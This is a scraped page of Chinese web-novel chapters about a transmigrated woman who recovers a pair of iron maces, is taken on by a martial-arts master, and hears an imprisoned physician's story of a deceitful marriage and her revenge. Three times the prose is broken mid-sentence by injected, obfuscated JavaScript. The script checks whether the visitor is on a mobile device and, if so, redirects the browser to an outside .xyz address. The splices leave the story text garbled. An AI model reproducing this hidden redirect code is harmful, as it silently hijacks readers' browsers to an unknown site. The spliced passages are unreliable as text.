关苒苒拍了拍手笑道:“修意,如今找到适合之人,你秦家绝学终于能被发扬光大,不致失传。这可是天大的喜事,大家都轻松些。”
秦修意含笑点了点头,戚江雪想到自己能好好整理一番武学,也不由心下一松,睡了过去。
11. 铁锏刚直义气盈
温让这日送饭时有些不安。
无争别院的刘管事死了,说是一时疏忽被夜游的尸人误杀。虽然他并没有死在幽人馆,但温让有一种直觉,也许他的死与幽人馆脱不了干系。
他曾在某天巡夜时看到刘文启独自来了幽人馆,形迹可疑。邱老和掌教都没有再出面,他自然不敢多管闲事,但现在已经死了两个别院管事了。
戚江雪坐在床上静静看着他。烟灰色瞳孔里的浮光如同点点碎冰,让他生出寒意。温让连忙撇过头,不再与戚江雪对视。
“小哥是有什么心事吗?”戚江雪缓缓开口,声音和她的人一样没什么温度。
温让硬着语气道:“我能有什么心事!你管好自己便罢。最近可安分着点。”
戚江雪说:“我一向安分守己的,你这么说是发生了什么事?”
温让犹豫了一会说道:“刘管事前日死了。”
他说完看了看戚江雪的神情,只见她露出一丝惊讶,紧接着又有些不高兴。
“刘管事是谁?怎么死的?时不时死人,我在幽人馆能保证安全吗?”
温让道:“你要是好好待在这院子自然不会有事。那刘管事,之前在消业池打过你一掌,你不记得?”
戚江雪回忆一番。“原来是他啊。不是很厉害吗,怎么死了?”
温让听她的语气里还颇有些幸灾乐祸,不由气恼。“任谁落到尸人手里都好不了。你可祈祷自己别碰上,不然死得只会比他更惨。”
戚江雪勾起唇角。“命由己造。我听你的,不敢乱跑。”
温让瞪了她一眼,推门而出。
戚江雪看着他的背影暗想,不乱跑是不可能的。
秦前辈虽然要指点她,但在此之前她需得先去找到秦前辈初来清晏山庄时藏下的一样武器。
今夜的月亮格外圆。
自从穿越过来,戚江雪似乎就成了夜猫子,每次都是在深夜行动。但现在也习惯了,毕竟夜色是最好的伪装大师。
不知是不是因为刘文启的死,今夜她看到的尸人很少,几组巡夜的武侍童也都有些心不在焉。戚江雪一路在各色建筑和树影中隐藏行迹,畅行无阻。
到了一处,幽寂异常。地形有些熟,戚江雪仔细一看才发现已进入了尚善别院的书院区域。主屋和书房门都紧闭着,整个院落不见丝毫光亮,看来在莫瑞谦之后这里并无人居住。
之前邱老让刘文启兼管尚善别院,现在刘文启也死了,尚善别院还有人管吗?
想到这里,戚江雪心念一动。她走到书房门边,冷不丁听见里面传来一声细微响动,似是衣料摩挲的声音。
谁在里面?
戚江雪悄然躲到屋后的夹角处,静待里面的人出来。
足有半柱香的功夫,才传来“吱呀”一声。关门的动作十分轻巧,女子身形纤细,提着衣角左右看了看,快步向外走去。
戚江雪跟了上去。
快要走到宅院时,有两名侍童提着灯笼走了过来,女子慌忙躲在一处假山后头,却因磕绊动静有些大。
“谁?”一名侍童厉声问道。另一人则拔出了腰间的长剑。
眼看他们冲着假山走去,戚江雪轻身上前,两下点中他们的后颈,二人顿时昏倒在地。
女子有些后怕地从假山后走出,对戚江雪拜了拜。
“多谢姑娘,你又救了我一次。”
戚江雪挑了挑眉。她早就看出这人便是自己当初从温俭手中救下的那个官家女子,只是她此刻蒙着面,这女子竟然也能认出她。戚江雪只作不知。
“你是何人?为何会出现在这里?”
女子蹙眉道:“我叫宋思蔻,被关进来后就一直在尚善别院。那莫管事拿走了一样对我至关重要的东西,现在他不在了,我想着也许我能拿回来。”
戚江雪听了听周围的动静,确认暂时没有威胁,才又开口。
“这里地形复杂,危险重重,你大晚上出来就不害怕吗?”
宋思蔻看着戚江雪道:“姑娘不也在深夜行走吗?我虽不像你身怀武艺,但为了拿回我的东西便是豁出命去也不在意了。”
“那你的东西拿回来了吗?”戚江雪淡淡问道。
宋思蔻摇了摇头。“还没有,也不知它到底被藏在哪里了。”她看了看戚江雪,眉宇间尽是真诚。“还不知道恩人叫什么名字?你是怎么来这里的?”
“戚江雪。我想不起来之前的事,不知自己为何而来。每天只在这里浑浑噩噩游荡度日,没想到今夜能遇见你。”戚江雪说得轻描淡写。
宋思蔻眼中突然含泪,道:“我们都是苦命人。我的父亲,是当朝兵部尚书宋逊。只因我不愿遵从他的意愿嫁于不爱之人,他就把我送到了这里。”
“只因不想嫁人便要将你当成疯子。做父亲的真能如此狠心?”戚江雪有些不信。
“他的官位,名声,面子,哪样不比我重要?我迫于无奈与心爱之人出逃,可被他发现了。我抵死不嫁,定亲的那家人位高权重,他也得罪不起,便说我疯了,把我扔到了这,只当我死了。”
宋思蔻泪盈于睫,话语中还掺杂着恨意。
兵部尚书已是肱股重臣,想结亲的人家地位自然不低。权衡之下做此举动不是不可能,只是宋思蔻在此种情境下愈发可怜了。女子的地位可见一斑。
“你被关在这里,你的心上人知道吗?”戚江雪问道。
宋思蔻苦笑。“这里与监牢无异,根本就传不出消息。他肯定也在找我,若是知道我在这,他一定会来救我的。莫瑞谦拿走的正是他给我的定情之物,我一定要找回来。这是我在这里唯一的念想了。”
戚江雪安慰道:“东西一定能找到,只是不急于这一时半刻。现在时候不早了,你继续在外面逗留很危险,先回去吧。”
宋思蔻点了点头。“我是该回去了。戚姑娘,以后若有用得上我的地方请一定告诉我。”
戚江雪陪宋思蔻来到大宅院门口,目送她进了自己的房间。
宋思蔻在莫瑞谦的书房里逗留了许久,她要找的到底是不是她所说的东西,戚江雪持怀疑态度。至于为何被送到这,宋思蔻说得应该是真话。
能在被动有限的时间里记住并认出自己,可见宋思蔻头脑不差。作为一个闺阁小姐,敢违逆父命与情郎私奔,足见她有主见也有一定魄力。当然也不排除是被爱情冲昏了头脑,但一个有执念的人一定比随波逐流之人更容易找到目标。在这样的环境下还敢深夜出来查找,胆子也不小。
只希望宋思蔻如她自己所说,没那么复杂,也真的对她存有感恩之心,否则她很有可能暴露。
多想无用,找个时间也去趟莫瑞谦的书房,看看有什么秘密。现在她要先去找自己今夜的目标了。
静园是清晏山庄所有园林中最大的一座。沿着蜿蜒的石子路前行,中有苔藓,在夜露下尤显湿滑。戚江雪一路小心翼翼,既怕遇到人,也怕惊动某些机关。来到一座小池塘边,她停了下来。
戚江雪踩了踩地面,不知是否因为下
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903334|159932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
面与池塘相邻,土壤较为松软。她足下又运内力,跺了几跺,土壤越发松动。
戚江雪用几根粗树枝做铲,开始挖了起来。
挖了一米多深,什么都没有。戚江雪有些犹豫,会是秦前辈记错了吗?还是自己找错了。埋件武器需要挖这么深吗?
戚江雪又往下挖了一米,树枝碰到了一个硬物。戚江雪立马用手摸去。铁器如寒冰一般,让手指都有些发麻。
最开始摸到两根如竹节一般的器身时,戚江雪还以为这大概是九节鞭一类的武器。后来看到全貌,才发现此物有圆柱形的把,长约四尺的器身硬而直,呈四棱形,头略尖。
这是一双锏。
锏身已经有些生锈,但不妨碍它在暗夜中泛出逼人的银光。
其实戚江雪此前从未真正见过和了解过这种武器,但她看到第一眼便自然而然知道了它是什么。她被赠予了绝技“杀手锏”,而此刻拿到的武器正是一双锏,或许这就是“杀手锏”的由来,这是巧合吗?
戚江雪将双锏收好。又将坑填平。所幸没有横生其他枝节,她带着武器回到了幽人馆。
秦修意见到双锏时,双目泛红,触摸的双手也微微有些颤抖。
“七年了,没想到还能再见它们。江雪,多谢你。”
戚江雪上前扶住秦修意道:“前辈不要客气。只是物归原主罢了。”
秦修意笑着摇了摇头。“不。我让你去找,就是要将它们赠予你。别看它们现在蒙尘生锈,可当年就是这双锏让我秦家声震天下。”
戚江雪回想了一下,问道:“前代名将胡国公秦叔宝可与前辈有关?”
秦修意面露自豪道:“正是先祖。我们这一脉,历代习锏。我祖父自创了内功《清罡诀》,配合锏术,罕逢敌手,因曾助太祖平乱而闻达于世。我父亲人称‘冷面锏王’,江湖上人人敬之。而我……”
秦修意说到此处闭了闭眼,似乎难以自抑。“父亲只我这一个女儿,可我却让秦家锏在我手上没落了。”
戚江雪连忙道:“前辈也曾叱咤风云,如今不过是潜龙在渊,他日定能乘风而起,将秦家锏发扬光大。”
秦修意自嘲地笑了笑。“江雪,不必安慰我,我已没有机会。但你,是我的希望。”
秦修意眼中突然光彩熠熠。“你的气海可纳百川,我将《清罡诀》传给你,你吸纳后既可以形成自己的体系,也能让此心法更上一层楼。我看你也没有惯用的武器,正好跟我学习秦家锏。”
虽然已有心里准备,但戚江雪此时却突然有些说不出的难过。“前辈,这毕竟是您家传的绝学,我是一个不知过去的人,怎敢轻易接受您的馈赠呢?”
“馈赠?不,这是请求和嘱托。秦家只剩我一人,若你不愿做我的传人,那这家学便只能随我一起入土了。我既然选择你,就相信你不会辜负我。”秦修意语重心长道。
自穿越到现在,戚江雪第一次觉得自己心有所依。
“承蒙前辈不弃,江雪一定不会让您错付。”
秦修意看着她笑道:“还叫前辈?可以叫我一声师父了。”
戚江雪双眼渐渐模糊。
她从前便无父无母,在孤儿院长大,来到这里,也是一身伶仃。如今,她有师父了。天地亲师,她此前从未有过这种冲动,如今却想认认真真地拜下去。
戚江雪跪下对着秦修意磕了一个头。“师父在上,请受徒儿一礼。”
秦修意双手将她扶起。“好。从此你我师徒同心,共担风雨。”
12. 回望是事多堪嗟
是夜,戚江雪来到了秦修意这里,正式开始了学习。
“师父,您知道‘杀手锏’吗?”在看到双锏时,戚江雪突然想到了这个绝技。
“你说的应是‘撒手锏’吧。”秦修意想了想,娓娓道来。
“用速度和力量将锏投向敌人,攻其不备,曾经秦二爷反败为胜用的便是这一招。除了锏,其他有重量之物皆可用此法投掷,就是石头也能造成致命伤害。撒手锏与拖刀技、回马枪并称三大保命技,这多是以动作来讲。若是作为一击绝命的杀招,叫作‘杀手锏’倒也很符合。”
确实如此。戚江雪现在可以肯定她所获得的这个外挂“杀手锏”,既是作为武器锏的绝杀招式,也是她自己在命悬一线时的孤注一掷。无论用什么武器,哪怕是用牙咬,只在瞬息偶然之间使出,非强求刻意可得。
与刀剑等锐器不同,也区别于锤斧等钝器,锏利钝兼而有之,可击打亦可刺穿。
锏的要诀在于势大力沉,大开大阖,重兵破重甲。因为重量和挥打范围,锏的使用需要空间,不适合排兵布阵的密集型作战,所以经常与枪茅配合,作为副武器使用。很多时候,它更适合骑兵,让马去分担一部分重量,还可以在马上交战出其不意时将其掷向敌人,一击绝杀。
戚江雪将自己有限的理解告诉秦修意,秦修意露出了赞同的微笑。
“你说的不错。即便是一个不会武的人用锏,打中后让人筋骨断裂也不在话下,内伤更不必说。刀剑在它面前根本无力抵挡。而它又不像锤,更加轻也更加灵活。但是,想要锏发挥出杀伤力,大力抡击是必不可少的,因此过往都是作为精锐武器使用,也更能彰显单人高超的武艺。”
戚江雪问道:“只是抡击这么简单吗?难道锏不像刀枪剑戟那般有十八式,三十六式什么的?”她想起过去看过的各种演义,各类兵器招式繁多。
秦修意道:“当然。锏亦有二十四式,劈山挑月、横扫千军等不一而论,往后这些我都会教你。但在实战中,尤其是战场杀敌时,其实未必能用到这些功法。短兵相接,能将锏全力使出就已经赢了。所谓‘一力降十会’便是如此。”
戚江雪将双锏拿起,感受其沉甸甸的分量。为了实用,作为武器的锏已经减轻了一部分重量,但若不是她有武学傍身,仅是将锏拎起来都很费劲。
秦修意看着戚江雪的动作道:“不要以为这很容易。将锏拿起不难,难的是得心应手的运用它。一般人没有那么大的力气去驾驭,所以,才有了《清罡诀》。它可以让你使锏毫不费力,举重若轻。”
秦修意盘腿坐下,看向戚江雪。
“很多人都想得到《清罡诀》,因它不仅可以让锏法发挥最大优势,还可以配合任意功法招式,刚柔并济。但他们不知这秘籍早先就被毁了,而口诀则被我记了下来。你且过来,我们先从内功心法开始。”
戚江雪上前,与秦修意相对而坐。
“常言道‘大道至简,大巧如拙’。你要记住这点。《清罡诀》并不复杂,口诀只有三十三句,一页便可写尽。其余皆看你如何理解,如何感受,又如何运用。”
秦修意每口述一句,戚江雪便导引真气按照心法在体内不同的地方运转。来回数次,直到她能够牢记于心,融汇自然。
口诀虽然简单,但戚江雪却觉得每一句中都藏有万千变化,无限玄机。按照口诀所说行功,内力每至一处,清气便将浊气包裹吸收,她真正感受到了自己的气海是如何滔滔不绝。
而时间,则在专注中流逝。
自从修习《清罡诀》,戚江雪似乎在体内搭建了一座无形的高楼。真气不再自由翻腾,而是集中到了这座高楼,就如河流最终奔向大海。她所要做的,就是将每一层筑基牢固。现在她还停留在底层的几楼,想要更上层楼自然要日日勤修。
戚江雪按照师父所说,每日早晚各修习一次《清罡诀》。空闲时就在脑海中一遍遍温习锏法的各种招式,待夜晚无人时开始用双锏实际操练。
武学外挂的存在本就让戚江雪的体质异于常人,她还每天坚持扎马步,俯卧撑,深蹲等常规锻炼,身体自是越来越强健。加上内功研习,精气神也格外飞扬奋发,完全不像是久困的废人。不过,现在也没有人在意她的状态了。
戚江雪此时倒不急着离开山庄。再怎么说,她也要将师父和关前辈一起救走,这就需要她有更强的实力,也需要一切从长计议。
这晚,就在戚江雪刚刚运行了一遍《清罡诀》时,脑海中突然跳出了一行信息。
“功德奖励有新变化——”
“您当前的功力水平为准一流高手,可继续提升,上限未知。”
之前还是武林高手,看来这段时间自己有了提升。可惜多了个“准”字,说明自己还没到真正的一流水平。
虽然“杀手锏”还是老样子,但戚江雪很高兴。有进步就很不错了,离一流高手之一步之遥,对武学的体悟也更加深刻,现在她才觉得自己真正像个习武之人。
戚江雪去找秦修意,打算告诉她自己的进步。刚进柒号院,就觉得与往日有些不同,她连忙推门进去。
秦修意躺在床上,面色苍白,双目紧闭。关苒苒则在一脸凝重地为她施针。
“关前辈,我师父怎么了?”戚江雪来到床前,一脸紧张。
关苒苒将最后一根针扎入秦修意的百会穴,才稍微松了一口气。
“中了‘定风波’的人,内力全失,筋骨酸软,若要强行施力,必然会损耗自身,导致昏厥。”
戚江雪满脸自责。“是因为这段时间要教导我,师父才会被消耗至此。”
关苒苒安抚地拍了拍她道:“与你无关,是‘定风波’太过阴毒。”
戚江雪想起刚来时温良告诉她的话。
“不是说‘定
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14914105|159932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
风波’只针对习武者,对常人只是助眠吗?师父已经没有武功了,为何还会受这么大影响。”
关苒苒冷笑一声。“何止如此。你以为那些人是被关在这里太久,才会变得越来越温驯吗?不,这‘定风波’一旦入体,就会让人精神麻痹,不再有大的情绪起伏。什么喜怒哀乐,都会渐渐远去,只剩吃和睡这几个生存本能罢了。”
戚江雪想了想,这可比后来让人强行平静下来的镇定剂效力大多了。
“那如今怎么办?屋里的‘定风波’早已被掐掉了。”
“两年前我研制出了抵消药物,可‘定风波’早已深入她的骨髓。能保持住神智,是因她本就比常人抗性更强,但也仅是如此了,如今她在习武之人面前也不过就是手无缚鸡之力的弱女子。这段时间她虽然只是口头传授于你,可想到曾经驰骋江湖的风光,她又如何能忍得住不去尝试呢。”
关苒苒说着,难掩语气中的惋惜与心痛。
戚江雪亦是眼眶泛红。从跃马扬鞭快意江湖到身陷囹圄四体无力,任谁都无法轻易接受这样的落差。
关苒苒看戚江雪的神态,忍不住安慰她道:“你也不用担心。我已看过修意了,她只要好好休息,不会有什么大问题的。若她醒来见你难过,又要心疼了。”
戚江雪忍下情绪,对关苒苒说:“前辈放心,我修习武学不仅是为了自己,也是要将你们救出去。清晏山庄一定会为他们的所作所为付出代价。”
关苒苒突然站了起来,背对戚江雪。
“我只怕是出不去了。即便出去,世上也无我容身之处。”
戚江雪说:“来这里的大都是苦命人,过往并不重要。就算无家可归难道我们自己不能组成一个家吗?对我来说,现在师父和您在的地方,就是我的归处。我会奉养师长,不会让你们无枝可依。”
关苒苒肩膀颤抖不停,她克制许久才转过来看着戚江雪。
“阿雪,我很感动。也相信你。可正因如此,我不能连累你。”
关苒苒坐在椅子上,目光望着窗外。
“我跟你说过,我十六岁便嫁人了。那是一段孽缘。把我关到这里的,正是我夫家之人。”
今夜的月与二十四年前一样皎洁明亮,只是心境早已沧海桑田。那时她满怀欣喜地嫁人,憧憬着与良人共度此生的美好愿景,现在却只剩下怨憎懊悔,满心讽刺。
戚江雪不想揭开关苒苒的伤疤,可她想了想还是开口道:“听说我也是被家人送进来的。我不知自己做错了什么,但在这里困顿一生不是我想要的结局。以前辈的为人,我更相信您是为人所负。”
关苒苒苦笑了起来,笑着笑着又停下来,一脸冷绝。
“你说的不错,可他们并不觉得有负于我。我有罪。但我不后悔。再来一次,我还会那样做,甚至还要更痛快!我在这里,他们杀不了我。我若出去,那就未必了。”
13. 三更归梦三更后
“今日陈家又打发了媒人上门。你可有意?”母亲语气温和地问道。
关苒苒一时红了脸。“娘,我还不想嫁人。”
母亲叹了口气道:“当时去惜春园就是叫你们相看的。阿苒,你与娘说实话,你觉得那陈公子品貌如何?”
关苒苒犹豫了片刻,点了点头。
“陈公子温文尔雅,谦恭有礼。女儿也挑不出什么不好。”
母亲笑弯了眉眼:“看来你是满意的了。你父亲与我都对他印象不错,也向人打听过,都说陈家郎堪作良配,只看你的意思。现下看来倒是可以把这门亲事订下。”
她向来澄澈,只醉心于医术。祖父夸她天资过人,是最有希望继承“神医”名号的后辈。可惜,及笄后祖父与父亲便不再带她外出诊治,而是要她安心待在家中,等媒婆上门。
她愤懑不平,推掉了几个不错的人家,直到遇见陈锦纶。
那日在惜春园,丫鬟倒茶时不慎打湿了她的衣裙,她避开整理后却发现自己迷了路。正在茫然焦急时,一人分花拂柳而来,替她解了围。
好一个玉面公子,风度翩翩。
她的心被触动了。若真的非要嫁人,嫁给这人应当是不错的。
关家因神医关山月在江湖上可谓大名鼎鼎,于朝堂来说却实在不值一提。祖父虽为正五品的太医院院使,但与众官员并非一个路子,她也从不与其她官家女子接触。陈家曾掌管盐铁司,现今在户部也有实权,而陈锦纶是陈家独子,听闻在京城炙手可热。两人应当不会有缘再续。
她的一点绮思很快就散去,没想到陈家居然来提亲了。
想到这里,关苒苒略有些迟疑:“只是陈家为何这样急?竟好似比我们还盼着这门亲事能成。”
母亲想了想,捏了捏她的脸道:“想是陈公子对你上了心罢。我的阿苒如此可人,他心心念念也不奇怪。”
关苒苒面上躲着,心里却甜滋滋的。
锣鼓喧天,喜烛长燃。
关苒苒在洞房里忐忑地等待着,忍不住睡了过去,醒来已是深夜。外面安静了下来,却依然不见陈锦纶的身影。
关苒苒掀开了盖头,走到门口询问守着的婢女。“公子还没回来吗?”
婢女垂下头道:“未见过少爷。想是前边还在应酬。”
关苒苒觉得奇怪,但也只能耐心等。
许久后,门外传来响动。关苒苒去看,只见陈锦纶已醉得不省人事,被一个年轻公子搀扶着。
婢女忙行礼:“表少爷安好。”然后上前一起将陈锦纶扶进了屋里。
王循小心翼翼地将陈锦纶放在床上,为他整理好衣冠,然后对着关苒苒一拜。
“嫂子见谅。表哥实在高兴,被多灌了几杯,今日怕是醉得不成了。也怪我,没能劝住他。”
关苒苒忙道:“不妨事。有劳表弟了。”
那王循抬头深深看着她,眼神却带着凉意。关苒苒有些不自在,等王循离开后叫来婢女问道:“表少爷什么时候来的府里,与少爷关系可好?”
婢女道:“表少爷是姑太太的儿子,三年前来投奔老爷的。自来了这里便和少爷同进同出,关系自是极好。”
怪不得今日是他将陈锦纶带回来。可是大喜之日,竟然能醉成这样。关苒苒看着陈锦纶睡得昏昏沉沉,梳洗一番后便独自睡去。
陈锦纶似乎对大婚之日醉酒有些愧疚,归宁时表现得极为体贴,准备的礼品也格外丰厚,关家对这位姑爷很满意。
成婚三月,关苒苒与陈锦纶依然没有圆房。公婆对她没有为难,也无关照,反倒当她是透明人一般,从不询问。陈锦纶开始还推脱身体不适,后来直接整夜待在书房。反倒是王循,时不时对她嘘寒问暖,殷勤得很。
若对她无意,为何当初要娶她进门。还是说,陈锦纶有什么难言之隐?关苒苒久研医术,自然与一般少女不同,她想要搞清楚自己究竟处于什么样的境地。
那夜,她端着一碗汤来到书房。
“多谢。最近事务繁忙,还请夫人多担待。”陈锦纶语气平淡。
关苒苒笑得温柔:“官人刚调进户部,自是诸事繁多。我特意熬了归脾汤,喝了也好解解乏。”
陈锦纶见她没有要走的意思,便拿起汤碗一气饮尽。“时候不早了,你也去安歇吧。”
关苒苒的肌肤在薄如蝉翼的丝萝褙子下透出柔光,陈锦纶只看了一眼便撇过了头,身上竟有些热了起来。
关苒苒走上前,轻轻抚上陈锦纶的肩,又一路从胳膊滑下,与他十指相扣。“官人今夜也要在书房吗?”
陈锦纶似乎被抽走了力气,但他还是将关苒苒的手掰开。“我,我习惯了在此处理杂事。”
关苒苒从身后抱住陈锦纶:“你莫不是讨厌我?既不想看到我,为何要让我进陈家门。难道你觉得我是痴缠之人?”
她的声音饱含委屈,陈锦纶颤抖着,额头已有汗滴。“不,我自是心悦于你,才会求娶。”
“原来如此。”关苒苒的手已经从陈锦纶腰间摸了下去,声音变冷。“到了这个地步,你居然都没有反应。”
她在汤里放了少许催情之物,正常人早就按捺不住,可惜陈锦纶的那处就像死了一样,毫无动静。
陈锦纶闭了闭眼,瘫坐在椅子上。
急促的脚步声接近,王循直接推门走了进来。看到关苒苒他愣了一下,然后立马看向陈锦纶。
“表兄,没事吧。你……”
话语被陈锦纶打断了,他一把握住王循的手。“不举之事本难以启齿,可我们终究是夫妻,瞒得过一时瞒不过一世。你嫂子现在知道了也好。”
王循顿了顿,转向关苒苒道:“本不想欺瞒嫂嫂,可表兄爱慕你,怕你知道后……”
关苒苒心情一时难以平复,声音里还带着怨愤:“这样的事怎能欺瞒?我精通医术,或许能治好你,可是换作其她女子,这一生岂不是陷入泥沼之中?”
王循没再说话,陈锦纶擦着额头的汗道:“夫人说的是。千错万错都是我的错。若你觉得无法接受,我这就写和离书。”
“不。夫妻一体,我怎能弃你而去。既然你有隐疾,遇上我也算好事。我在祖父和父亲那里听说过不少此类医案,未必不能治好。只是官人你不可讳疾忌医。”
王循想说什么,被陈锦纶拦住。“既然如此,多谢夫人了。我对你不住,你有什么要求我一定满足。只是此事毕竟不体面,还请夫人守口如瓶。”
关苒苒听到和离时就冷静下来。她之前虽对陈锦纶有些好感,说深情却也谈不上,经此一事,她对此人已是毫无眷恋。只不过若真的和离,对关家和她自己都是一桩麻烦事。已婚妇比起未嫁女身份要更方便,不如就待在这里。陈家有秘密,又亏欠于她,她反倒能得些清净,钻研医术。
“我自会守好秘密。明日开始我便为你诊治,且放宽心。”关苒苒说罢便离开书房,只留表兄弟二人。
关苒苒是真心想为陈锦纶医治,可陈锦纶总是有各种理由推脱。要么觉得无法坦然面对她,要么就是怕她更加失望。关苒苒提出让自己的父亲来为他诊治,他断然拒绝,说此事绝不可让外人知晓。关苒苒已然觉得陈锦纶可恶,也就随他去了。
她原本不是沉迷情爱之人,对婚事仅有的一点期待也被打破,索性不再纠结于此。只暗自庆幸不是别家的好姑娘嫁了过来,不然有苦难言。
王循时不时便来询问关苒苒,陈锦纶是否有恢复正常的可能。关苒苒只淡淡笑道:“此事是我二人的私事,不便与外人道。表弟日日和官人在一起,他若不曾提起,我又有什么好说呢?”王循只能讪讪离去。
不知王循打着什么主意,此人并非正人君子,关苒苒懒得理会。
这日,陈府设宴请客。觥筹交错间,人影纷纷。
关苒苒去后厨查看时急匆匆喝了小丫鬟递的一杯茶,突然觉得浑身乏力,连眼睛都难睁开。
她意识到不对,连忙往自己的房间走去,结果没两步便失去了知觉。
醒来时,关苒苒发现自己正躺在冰冷的柴房里,边上还躺着一个衣衫不整的男子。男子脸上泛着不正常的潮红,仔细一看正是府上的马夫。
见此情景,关苒苒顿时想通了关窍。因自己也常常试药,她的耐药性比常人好许多,此时她一定比陷害之人预料中要醒得早。
关苒苒取出随身所带的长针扎向几个穴位,整理好自己后,又取出药丸给那马夫服下。柴房门锁着,她用力撬开窗户,翻了出去。四周空无一人,关苒苒没有离开,而是找了一个隐蔽处藏了起来。
没过多久,脚步声传来,只见王循带着陈锦纶和一众公子往这边走来。
推开柴房门,一公子笑了起来。“哈哈哈。你说有好戏,就是让我们看
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14949301|159932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
马夫睡大觉?”
陈锦纶面色难看。“恪礼,你在胡闹什么?”
王循看着柴房里,脸色铁青。“我之前看见……明明……”
陈锦纶一甩袖子,转身便走。其他公子跟上去调侃,“王兄怕是喝多了。”一群人大摇大摆着离去,王循气急败坏地跟了上去。
关苒苒心中又是愤怒又掺杂着后怕,若她没有提前醒来,那今日便身败名裂。王循这个畜生,竟然如此下作。
入夜,关苒苒带着自己配好的药,来到王循的住处。外面无人伺候。
“你真是糊涂,幸好今日没出什么事,不然我们家颜面何存?”陈锦纶慵懒的声音传了出来。
“我就是见不得她在你面前。说什么要治好你,难不成你还真要跟她琴瑟和鸣做真夫妻?”王循低声道,语气中竟还带着委屈。
陈锦纶忙说:“那都是托辞,你还不懂我么。我在女子面前如何能硬得起来?当初不过是看她温顺,家中也好拿捏。我说不举,她也能以医者心正常看待,若换其他官宦人家还不知要闹些什么。”
“你不和离,我帮你休了她岂不省心。今日之事若成,往后你也可以此做借口,拒绝再娶,既落得重情重义之名,我们又能长相厮守。难道不好?”
“我知道你的心意。要休要离还不是我们说了算。若让她悄无声息病死在这,我再不续娶,岂不更能成全声名。之后再说吧。”
两人话语落下,传来“窸窸窣窣”衣物摩擦的声音,紧接着又是难以描述的喘息。
关苒苒在外面听得怒火滔天。虽然早有猜测,但觉得不干涉好歹也能相安无事。现如今他们竟要害她。
关苒苒将冷香点燃,从窗户悄悄放了进去。等了片刻,她推门而入,那两人果然以不堪入目之姿昏迷在床。本来只想给王循喂些药教训教训,现在可不会让他们那么轻松了。
怒火再难压抑,关苒苒从袖中抽出短匕,手起刀落,扎向两人的下/身。
凄厉的嚎叫声响起,惊醒了陈府众人。陈锦纶彻底昏死过去,王循被痛醒,但身上已被关苒苒用针扎过,整个下半身都瘫了,再无法动弹。
陈家二老赶过来,先是被一地的血惊吓,再看到陈锦纶和王循时,又恼怒不已。
“毒妇!你竟然敢害我儿子!”陈母哭喊着就要来扑上来打关苒苒,关苒苒将躺着的陈锦纶一把拽起,匕首在他的脖子上划出了一道血线。
“去关家叫人来。陈家少爷和表少爷做出此等丑事,你们助纣为虐,坑害良家女子,还有脸叫嚣?”关苒苒一脸冷绝。“再敢拖延,他们的命就别想要了。我不怕死,但我要让我的家人知道。”
陈母不敢再动作,陈父阴沉沉地瞪着她。
关苒苒勾起嘴角嘲讽:“除了我关家,再也没哪个大夫敢说能保住他们的命。你也不想这样的丑事人尽皆知吧。”
陈父闭了闭眼,还是吩咐去找人。
祖父和父亲来了之后,关苒苒仿佛雕像般,木然待在一边。父亲为陈王二人整理了伤口,语气冷肃。“命是保住了,不过……”
在场众人哪能不明白,陈锦纶和王循以后只怕下地行走都难。
陈母嚎啕大哭:“这是要我陈家断子绝孙啊!好毒的心呐!好狠的手段啊!”
关苒苒冷冷开口:“别装腔作势了。我不动手,你们照样绝后。他们要害我,这就是报应。”
父亲一巴掌扇过来,将她的脸打偏。“不孝女!你做出这样的事,还敢无礼!”
关苒苒一边脸瞬间肿胀起来,牙齿死死咬住嘴唇。
陈父阴冷道:“她胆大妄为伤人性命,就算闹到大理寺也要给我儿和侄儿赔命。”
祖父缓缓道:“此事并不光彩,要说源头还是我们受了蒙骗。我虽位卑言轻,但也能直面天颜。若要鱼死网破,拼上这条老命也得求个公道。我这孙女罪不至死,就让我们带回去严加管教,二位公子我们也会尽心医治。”
陈母边哭边喊:“哪有那么容易!休想包庇罪人。”
双方僵持,关苒苒想到自己可能还要连累家人,当即便想自我了断。
这时陈父突然开口了。
“不送她去官府也可以,还有一个地方能让我满意。她要在那里被关到死,若敢出来,我们必取她性命。”
往事不堪回首,伤心再难归家。一场大梦初醒,负我我负何如?
14. 楚地由来贱奇璞
“幽人准备,配合查验。”温让的声音从门外传来。
谁来查验?查验什么?戚江雪很早便听到了响动,只是装作毫无所觉,倚在床边一动不动。
过了片刻,门被推开。邱老带着廖奉堂和另一个三十多岁的儒雅男子走了进来。连着死了莫瑞谦和刘文启两个管事,看来这是新任管事了,只是不知道掌管哪个别院。
于诘最近春风得意。作为平湖派下任掌门的竞争者之一,被选为清晏山庄的别院管事无疑为他增加了胜出的筹码。
